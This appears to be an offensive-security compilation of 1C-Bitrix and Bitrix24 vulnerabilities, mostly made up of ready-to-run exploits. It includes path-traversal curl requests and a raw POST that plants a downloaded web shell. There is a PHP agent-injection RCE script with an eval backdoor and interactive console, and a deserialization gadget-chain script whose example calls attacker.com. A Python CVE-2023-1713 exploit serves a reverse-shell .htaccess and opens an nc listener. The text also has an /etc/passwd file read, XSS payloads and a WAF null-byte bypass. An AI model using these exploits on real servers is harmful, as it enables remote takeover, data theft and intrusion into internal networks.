The second part collects the most risky and practically significant Bitrix vulnerabilities. The section explains the nature of the RCE-class of attacks, shows typical places of occurrence of critical errors and demonstrates the logic of exploit development in real scenarios. The material covers the analysis of known CVEs, methods of bypassing protective mechanisms, risks associated with Bitrix24, and weak modules that often create additional entry points.
The path /bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php sometimes leads to the personal desktop. There you can add your notes, links, etc.
Open the widget.
Paste the desired address into the “Link to RSS feed”.
Click “OK” and wait for the co-author to respond.
We can read the internal files of the server, but, as a rule, only within the directory with the installed Bitrix. /bitrix/*
/.htaccess/randombullchitgo/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////x/..
/.htaccess/randombullchitgo/../../../""""""""""""""""""""""""""""""/../bitrix/""""""""""""""""""""""""""""""/../virtual_file_system.php/""""""""""""""""""""""""""""""/../x/..
ID:
curl --path-as-is 'https://TARGET/.htaccess/«/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////»/%2E%2E'
or
curl -i -s -k -X $'GET' \
-H $'Host: https://TARGET' -H $'User-Agent: huitrix/1.11.1' -H $'Accept: */*' \
$'https://TARGET/.htaccess/%c2%ab/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////%c2%bb/%2E%2E'
The vulnerability lies in incorrect processing of user data in the POST request. The demo version of “1C Bitrix Site Management” was taken from the official website. The version in Figure 1. The version of the main module is 21.400.100.
Опис атак.
Get the sessid parameter and the PHPSESSID cookie. This can be done through the admin. panel at /bitrix/admin.
Execute the POST request with the image below.
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: <>
Content-Length: 944
Cache-Control: max-age=0
Cookie: PHPSESSID=<>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
file_put_contents("<путь до корневой директории сервера>/shell.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
<>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
Open the agent list and capture the payload under ID 2
Execute a POST request, changing the NAME parameter to the NEXT_EXEC parameter and the desired upload at the date and time set on the server with a one-minute operation
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]"
<Дата и время>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
ee8dbbe0d21ce5fbb66ee1047c666f6c
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
Pin the shell.php file to a file in the server root directory
Go to /shell.php to confirm access to it
Operating conditions:
There is at least one agent on the server.
The date/time set on the server, including the time zone, is known.
Access to the uf.php file
All fields of the agent can be modified, making it possible to completely modify it to perform attacks
Exploitation of this vulnerability leads to the execution of arbitrary PHP code, from which it is possible to build a further attack vector on the server, to inject the OS shell code into execution, for example, through the system() function
The vulnerability is exploited through Arbitrary Object Instantiation using the publication “Vizovsti i attakti na CMS Bitrix” at https://t.me/webpwn. Due to the hashing of the value of the first argument in this attack, it is not possible to pass its argument directly to the CControllerClient::RunCommand($command, $oRequest, $oResponse) method. Therefore, the exploitation path through Bitrix agents was chosen.
An agent is a periodic task in which a method is specified for execution at a time interval. Using the CAllAgent::Update($ID, $arFields) method, you can restore an existing record about an agent. The first argument of this method is the ID in the table of existing agents from the database and it is an integer. The problem arises: converting the MD5 digest string to an integer. It is solved by the Bitrix source code itself.
This operation does a very simple thing – it converts one data type to an integer, including a string. The intval() function with a string data type converts to a number, writing the first decimal characters of the strings to the number, and overwriting the writing to the number when encountering a non-decimal character.
The symbol “e” is interpreted as an exponent, so the last line is converted to the number “100”. So, if you choose a line whose MD5 hash starts with a number, then this hash will be converted to a number. This number is the ID in the table, which will allow you to change the agent parameters.
An agent record consists of the following data:
The name of the method being called is in the NAME field in the format Class::Method($args). An active method has the symbol “Y” in the ACTIVE field. MODULE_ID is the name of the module in which the method is located. The method of interest is in the main module. The next run time is NEXT_EXEC in the format “DD.MM.YYYY HH:MM:SS”
Therefore, you need to do the following:
Choose the desired MD5 hash, which will have a small number at the beginning of the hash string. For example, md5(‘bitrix50’) = ‘2cff0d1f456cf0ac11a6d49e5cce8f3b’, which will give the number 2. These lines can be iterated over, since the agent’s identification record will not be guessed correctly.
Find out the date and time set on the server. This can be done using phpinfo() or the server itself reports them in the headers.
Change the NAME to the payload CControllerClient::RunCommand(”,”,”);
Using requests from the PoC, change the date, time, module and activity to the required ones.
When the set time is reached, go to any page, this way the agent will be executed.
RCE exploit on Bitrix <= 21,400,100 Standard <= Business | CRM (any user)
php vote_agent.php https://target.com/
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# update the agent
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
str_repeat(' ', 1234),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
'',
'main',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
'',
furl(agent($id)),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));
message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');
do {
$code = trim(readline('php > '));
readline_add_history($code);
if($code != 'EXIT')
message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
else
break;
} while(1);
# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
[ 'timeout' => 10,
'method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function agent($id = 1){
return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
'.payload().'
return true;')).'\')));');
}
function payload(){
return '
if(isset($_REQUEST["bitrixxx"])){
$DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
try{
$e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
}
catch (Exception $e){
exit;
}
}
else{
$r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
if(isset($_REQUEST["restorexxx"])){
$DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
$eval_result = $r;
}
else
eval($r);
}';
}
function index($id){
return 'dd';
}
function furl($str){
return '%'.implode('%', str_split(bin2hex($str), 2));
}
function j(){
$l = rand(10, 50);
while(!isset($c[$l])) @$c .= chr(rand(32, 126));
if(rand(0, 1))
return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
else
return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}
function xsleep($t){
$s = 0;
do{
print '-';
sleep(1);
$s++;
} while($s < $t);
print PHP_EOL;
}
function t($s){
foreach(token_get_all('<?php '.$s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return j().substr($r, 5);
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
RCE exploit on Bitrix <= 20.100.0
php html_editor_action.php "https://target-bitrix.com" "system" "curl http://attacker-host.com/"
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]
(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# upload default
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
'',
'default',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
payload($func, $farg),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[CID]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="action"',
'',
'uploadfile',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');
# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
['method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function payload($func, $farg){
return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>
1C-Bitrix CMS Module Landing Vulnerability: Site Management is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability could allow an attacker, acting as a remote user, to execute OS commands on the vulnerable node, gain control over resources, and infiltrate the internal network.
You can also test the site for vulnerabilities with this kernel template.
id: bitrix-landing-rce
info:
name: Bitrix Landing module RCE version based detection
author: JhonnyBonny
severity: Critical
description: A vulnerability in the landing module of the 1C-Bitrix Site Management content management system (CMS) is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability can allow a remote attacker to execute OS commands on the vulnerable host, gain control over resources or gain access to internal network.
reference:
- https://bdu.fstec.ru/vul/2023-05857
- https://www.bitrix24.com/features/box/box-versions.php?module=landing
tags: bitrix,rce
metadata:
max-request: 3
http:
- method: GET
path:
- "{{BaseURL}}/bitrix/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/bx/components/bitrix/landing.sites/templates/.default/style.css"
host-redirects: true
stop-at-first-match: true
max-redirects: 3
matchers-condition: or
matchers:
- type: dsl
name: "landing (23.700.100) June 14, 2023"
dsl:
- "status_code==200 && (\"add1ed2596798ec254ba13abff931547\" == md5(body))"
- type: dsl
name: "landing (22.200.0) August 8, 2022"
dsl:
- "status_code==200 && (\"9fbebe45f8d33fa108dfb947d0fb4656\" == md5(body))"
- type: dsl
name: "landing (22.100.0) July 5, 2022"
dsl:
- "status_code==200 && (\"b319495dd5f16817406386b5dc63c146\" == md5(body))"
- type: dsl
name: "landing (22.0.0) April 18, 2022"
dsl:
- "status_code==200 && (\"e64a234d4771590d79e1809f66fc7043\" == md5(body))"
- type: dsl
name: "landing (21.900.0) November 12, 2021"
dsl:
- "status_code==200 && (\"c49de48decdf1fd2acaf7853925183be\" == md5(body))"
- type: dsl
name: "landing (21.700.0) September 7, 2021"
dsl:
- "status_code==200 && (\"0c4c0547c37ad53cbb1eda4ddbf15e33\" == md5(body))"
- type: dsl
name: "landing (21.500.0) July 16, 2021"
dsl:
- "status_code==200 && (\"c2adce7a16e8572f9a5728288a2fac81\" == md5(body))"
- type: dsl
name: "landing (21.200.0) April 21, 2021"
dsl:
- "status_code==200 && (\"a871c4967c7c937597890d7b5c3d960a\" == md5(body))"
- type: dsl
name: "landing (20.4.500) September 15, 2020"
dsl:
- "status_code==200 && (\"9dc7150c6bd61d298d147b7ea67e8a8b\" == md5(body))"
- type: dsl
name: "landing (20.4.0) July 10, 2020"
dsl:
- "status_code==200 && (\"b3ec699b40523a8412a0d56ed76f43bc\" == md5(body))"
- type: dsl
name: "landing (20.2.100) February 27, 2020"
dsl:
- "status_code==200 && (\"c8c32f0232ac2a4bb46856f12a6a4b09\" == md5(body))"
- type: dsl
name: "landing (20.2.0) January 20, 2020"
dsl:
- "status_code==200 && (\"5a530921bbc5d6923d20b75c4ba99b4d\" == md5(body))"
- type: dsl
name: "landing (20.0.0) November 26, 2019"
dsl:
- "status_code==200 && (\"ef14e227a8f17a3c1a76ce4290dcd9c6\" == md5(body))"
- type: dsl
name: "landing (19.0.200) August 22, 2019"
dsl:
- "status_code==200 && (\"0fa4366725041880aca1a79d451806f4\" == md5(body))"
- type: dsl
name: "landing (19.0.0) August 2, 2019"
dsl:
- "status_code==200 && (\"dfa4536c8b721d8c67065a9fd60c05ed\" == md5(body))"
- type: dsl
name: "landing (18.5.8) October 18, 2018"
dsl:
- "status_code==200 && (\"8f20968cc2e35bedf95777bcc6c39987\" == md5(body))"
Although this CVE is not a CVE on its own, as it has a Rejected status, we decided to add it anyway because it is still found on the site:
https://en.fofa.info/result?qbase64=Vk1CaXRyaXg%3D
“1C-Bitrix: Virtual Machine” is a virtual server configured for fast execution of “1C-Bitrix” software products. The vulnerability allows you to insert a malicious PHP script into the root directory of the website via the “Download backup copy” form on the initial settings web page of the “1C-Bitrix” CMS.
On the initial settings web page of the CMS “1C-Bitrix”, you need to click on the “Restore copy” link:
Injection of a test malicious PHP script (web shell) via the “Download from local disk” section on the “Download backup” web page. The download completed with an error.
Verifying successful implementation of a malicious PHP script:
Thus, a useful PHP script has been successfully implemented in the root directory of the website.
# Exploit Title: Unauthenticated Remote Code Execution in Bitrix v7.5.0 and earlier versions
# Remote Code Execution in Bitrix v7.5.0 and earlier versions allows remote attackers to execute arbitrary code via uploading a php web shell. Bitrix v7.5.0 and earlier allows any user to execute arbitrary code by uploading an executable file at the time of restoring from the backup without any prior authentication required.
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718
# Date: 15th April'22
# CVE ID:
# Confirmed on release 7.5.0
# Vendor: https://www.bitrix24.com/self-hosted/installation.php
###############################################
#Step1- http://192.168.56.140/restore.php?lang=en
#Step2- Click on Continue=>Upload from local disk=>Upload the shell.php=>Skip the errors=>Click on BACK
#Step3- Now the shell.php has been uploaded on the server so execute the shell Goto http://192.168.56.140/shell.php
Visit http://IP_ADDR/shell.php and get the reverse shell:
listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.140] 48220
Linux localhost.localdomain 3.10.0-1160.21.1.el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:37:57 up 1:32, 1 user, load average: 0.00, 0.05, 0.37
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 06:29 45.00s 0.11s 0.11s -bash
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh: no job control in this shell
sh-4.2$ whoami
whoami
bitrix
sh-4.2$ id
id
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh-4.2$ hostname
hostname
localhost.localdomain
sh-4.2$
Sometimes the script bitrixsetup.php can get on hosts. It is usually strongly recommended to remove it after installation.
If you put an arbitrary string in the filename parameter to find that the error is displayed on the page without any escaping, which allows us to exploit the XSS vulnerability:
/bitrixsetup.php?action=UNPACK&by_step=Y&filename=en_bitrix24_encode.tar.gz&lang=en&xz=19279
After reading the code, you can see that the user’s input is not processed, and $_REQUEST[“filename”] is passed the $oArchiver object, which is responsible for unarchiving this file. Despite the presence of the archiver, the idea of the presence of LFR creeps in.
This LFR, unfortunately, can only read the first 10 lines of the file. But for reading the conditional /bitrix/php_interface/dbconn.php, this is quite enough.
/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd
Since the part of the file at the specified path is calculated by the script as the archive header, we can read it in the error message. In addition, it turned out that using the search parameter, you can move the line of the file being read character by character:
It happens that when performing XSS of the reflected type, the parameters fall directly into the body of this script. Usually this means that the exploitation is trivial: it does not disturb the encoding of brackets, does not disturb many firewalls, including the Chrome XSS Auditor. But in this case, the CMS Bitrix has a built-in proactive filter (WAF), the principle of which is protected from XSS, similar to the XSS Auditor.
When fuzzing the Mail.ru service as part of the Bug Bounty, I came across such an entry point, the GET parameter fell into the body of the <script>…</script> tag. But it was not possible to make a simple PoC, since the application was built using Bitrix, and the WAF module was activated.
Any attempts to insert any interesting code ended with the entire script being replaced with a stub _<!— deleted by Bitrix WAF —>_.
It turned out that to neutralize this protection, it is enough to pass a null byte (%00) to the vulnerable parameter.
For demonstration, we deploy a test application on the Bitrix CMS with the WAF module activated and add the following code to one of the pages (/waf-bypass.php):
If you pass a quote (closing string) to the vulnerable page parameter and call the notification (like any other function), the WAF cuts out the entire script:
During fuzzing, it turned out that combining protection is very simple – we enter a zero byte (%00) before the closing quotation mark and the WAF code is already skipped:
In total, we get a full-fledged exploitation vector
The error is in the post-filtering module for protection against XSS. The module works similarly to XSS Auditor and tries to find in the body of the page script tags with active content that was passed in the user parameters.
At the same time, for some reason, a zero byte is cut out of the parameters parameters, so in our case, when comparing the body page with the parameters, no input will be detected (after all, there is \x00 in the body, but there is none in the parameters).
An imaginary string in the file ./bitrix/modules/security/classes/general.post_filter.php or post_filter.php, where in the addVariable method the zero byte chr(0) is cut out:
The actual search for user data in the telescript takes place in the isDangerBody function, and here the findInArray function passes the parameters of the untouched $body value and the array from which the zero byte has been cut:
Remember that WAFs are almost always bypassable.
In this particular case, to fix errors in the WAF itself, you can choose to call str_replace from the addVariable functions. In each case, it is worth adding a check for the presence of a null byte in the content (it was not for nothing that the Bitrix developers added this str_replace call).
sudo /opt/webdir/bin/wrapper_ansible_conf
sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --ho
/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E
Insufficiently protected credentials in the AD/LDAP server settings in the AD/LDAP connector module “1C-Bitrix Bitrix24” up to version 23.100.0 allowed remote administrators to find out the AD/LDAP administrative password by reading the source code of the file /bitrix/admin/ldap_server_edit.php.
Operation steps:
Access the Bitrix24 admin panel.
Go to “AD/LDAP Settings” in the “Administration” section.
Enter the AD/LDAP server settings from the list of servers.
Go to the Server tab.
Make sure that the password of the user with read rights to the AD/LDAP server tree is masked in the “Password” line.
Using your browser’s developer tools, open the source code of the bitrix/admin/ldap_server_edit.php page.
Make sure that the password of the user with read permissions on the AD/LDAP server tree is displayed in clear text in the source code
https://github.com/secware-ru/CVE-2022-43959CVE-2022-43959.pdf
# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-1713)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess
import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000
PROXY = None
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=f"[{k}]")
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def start_server():
class MyHandler(http.server.BaseHTTPRequestHandler):
htaccess = open("./.htaccess", "rb").read()
def do_GET(self):
path = urlparse(self.path).path
self.send_response(200)
self.end_headers()
# Request .htaccess
if ".htaccess" in path:
self.wfile.write(self.htaccess)
self.wfile.flush()
return
# Delay
print("[+] Delaying return by", DELAY_SECONDS, "seconds")
# send the body of the response
for i in range(DELAY_SECONDS):
self.wfile.write(b"A\n")
self.wfile.flush()
time.sleep(1)
# Shutdown server when done
self.server.shutdown()
def log_message(self, format: str, *args: typing.Any) -> None:
# Silence logging
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)
def forever():
with httpd:
httpd.serve_forever()
thread = threading.Thread(target=forever, daemon=True)
thread.start()
print("[+] Started HTTP server on", LPORT1)
return httpd
def instagram_import(session, sessid):
session.post(
HOST
+ "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
data=nested_to_urlencoded([{
"IMAGES": [
f"http://{LHOST}:{LPORT1}/.htaccess"
] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
"NAME": "Product 1"
}], prefix="items"
),
headers={"X-Bitrix-Csrf-Token": sessid},
)
print("[+] Waiting done")
def test_exists(dir_name):
resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
return resp.status_code == 200
def bruteforce():
print("[+] Bruteforcing .htaccess location")
chars = string.digits + string.ascii_lowercase
for dir_name in itertools.product(chars, repeat=3):
dir_name = "".join(dir_name)
if test_exists(dir_name):
print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
return dir_name
def reverse_shell(dir_name):
requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
start_server()
threading.Thread(target=instagram_import, args=(s, sessid)).start()
dir_name = bruteforce()
threading.Thread(target=reverse_shell, args=(dir_name,)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT2)])
.htaccess file:
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-php
</Files>
# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
This file must be in the same directory as the Python3 exploit code. When the exploit code is run, an HTTP server will be created on LPORT1 serving a malicious .htaccess file, and a netcat listener will be launched on LPORT2 for a reverse shell.
This vulnerability can be exploited if an attacker has access to CRM functions and permission to create and export contacts. This level of access can be granted if the user is a member of the Management group.
# Bitrix24 Insecure File Append RCE (CVE-2023-1714)
